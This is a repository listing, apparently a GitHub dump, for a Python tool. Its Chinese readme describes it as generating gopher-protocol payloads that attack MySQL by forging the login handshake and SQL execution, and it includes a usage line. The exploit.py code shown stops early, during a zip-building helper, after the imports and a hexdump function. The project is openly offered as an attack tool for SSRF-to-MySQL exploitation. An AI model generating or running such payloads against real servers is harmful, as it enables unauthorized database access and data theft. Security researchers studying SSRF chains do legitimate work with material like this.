├── readme └── exploit.py /readme: -------------------------------------------------------------------------------- 1 | 帮助生成gopher攻击mysql的payload 2 | 3 | mysql协议实现了登录认证和执行sql 4 | 5 | python exploit.py -u test -d '' -P 'select now()' -v -c 6 | 7 | 可以连接本地数据库,dump packet查看协议细节 -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | from socket import * 5 | from struct import * 6 | from urllib2 import quote,unquote 7 | import sys 8 | import hashlib 9 | import argparse 10 | 11 | 12 | 13 | def hexdump(src, title, length=16): 14 | result = [] 15 | digits = 4 if isinstance(src, unicode) else 2 16 | 17 | for i in xrange(0, len(src), length): 18 | s = src[i:i + length] 19 | hexa = b''.join(["%0*X" % (digits, ord(x)) for x in s]) 20 | hexa = hexa[:16]+" "+hexa[16:] 21 | text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s]) 22 | result.append(b"%04X %-*s %s" % (i, length * (digits + 1), hexa, text)) 23 | print title 24 | print(b'\n'.join(result)) 25 | print '\n' 26 | 27 | def create_zip(filename, content_size): 28 | content = '-'*content_size 29 | filename = pack('<%ds'%len(filename), filename) 30 | content_len_b = pack('